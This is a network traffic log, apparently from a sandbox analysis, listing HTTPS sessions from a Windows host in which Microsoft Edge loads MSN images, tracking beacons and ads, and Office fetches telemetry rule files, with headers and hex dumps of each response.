2024-11-25 15:21:44 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:44 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=269558 Expires: Thu, 28 Nov 2024 18:14:22 GMT Date: Mon, 25 Nov 2024 15:21:44 GMT Connection: close
2024-11-25 15:21:44 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49857	104.117.182.66	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:44 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:44 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=79613 Expires: Tue, 26 Nov 2024 13:28:37 GMT Date: Mon, 25 Nov 2024 15:21:44 GMT Connection: close
2024-11-25 15:21:44 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:44 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:44 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152144Z-174c587ffdf7t49mhC1TEB4qbg000000061000000000e0yw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:44 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49860	104.117.182.66	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:44 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:44 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=367004 Expires: Fri, 29 Nov 2024 21:18:28 GMT Date: Mon, 25 Nov 2024 15:21:44 GMT Connection: close
2024-11-25 15:21:44 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49855	18.164.116.57	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:44 UTC	1012	OUT	GET /b2?rn=1732548100468&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0C72B46B3C106818117CA1293D846999&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1FA6c47f49f94725b70ccec1732548102; XID=1FA6c47f49f94725b70ccec1732548102
2024-11-25 15:21:44 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Mon, 25 Nov 2024 15:21:44 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 3ce8b408dfcacf1e62d9fe4b346a6a62.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P6 X-Amz-Cf-Id: zSNIy-ofjjgiNYKtIRab_PJq4AeCaYBmPfkSGUXMANmCmnUuNDc05A==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49854	13.107.246.40	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:44 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:45 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:44 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 18408825-201e-001d-5ef8-3cb1ed000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T152144Z-174c587ffdfn4nhwhC1TEB2nbc0000000690000000002ck5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 15:21:45 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:44 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:44 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 792329fd-401e-0035-1f6c-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152144Z-178bfbc474bmqmgjhC1NYCy16c00000007s0000000009can x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:44 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49861	20.110.205.119	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:44 UTC	1261	OUT	GET /c.gif?rnd=1732548100468&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7fcc8421e2064b25adb1ed85173a4afb&activityId=7fcc8421e2064b25adb1ed85173a4afb&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=0E4695DD1E284F8C9CD302AEFD7E1CED&MUID=0C72B46B3C106818117CA1293D846999 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0C72B46B3C106818117CA1293D846999; _EDGE_S=F=1&SID=083805B8B9C66CC63C1F10FAB8886D76; _EDGE_V=1; SM=T
2024-11-25 15:21:45 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0C72B46B3C106818117CA1293D846999; domain=.msn.com; expires=Sat, 20-Dec-2025 15:21:45 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=0C72B46B3C106818117CA1293D846999; domain=c.msn.com; expires=Sat, 20-Dec-2025 15:21:45 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Mon, 02-Dec-2024 15:21:45 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Mon, 25-Nov-2024 15:31:45 GMT; path=/; SameSite=None; Secure; Date: Mon, 25 Nov 2024 15:21:44 GMT Connection: close Content-Length: 42
2024-11-25 15:21:45 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49866	23.96.180.189	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:46 UTC	1017	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0C72B46B3C106818117CA1293D846999&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=88526cb25af44b6a8967205e6c770167 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0C72B46B3C106818117CA1293D846999; _EDGE_S=F=1&SID=083805B8B9C66CC63C1F10FAB8886D76; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 15:21:46 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2786 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132752-T700344123-C128000000002116909+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002116909+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 15:21:46 GMT Connection: close
2024-11-25 15:21:46 UTC	2786	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 50 6c 61 79 61 20 52 6f 6a 61 2c 20 50 65 72 75 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 50 61 72 61 63 61 73 2b 4e 61 74 69 6f 6e Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Playa Roja, Peru\",\"cta\":\"https:\/\/www.bing.com\/search?q=Paracas+Nation

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:46 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:46 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 974535d3-001e-002b-30bf-3e99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152146Z-178bfbc474bmqmgjhC1NYCy16c00000007pg00000000gabp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:46 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:46 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:46 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 008bef3b-f01e-001f-677c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152146Z-174c587ffdfgcs66hC1TEB69cs00000005z000000000eq3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
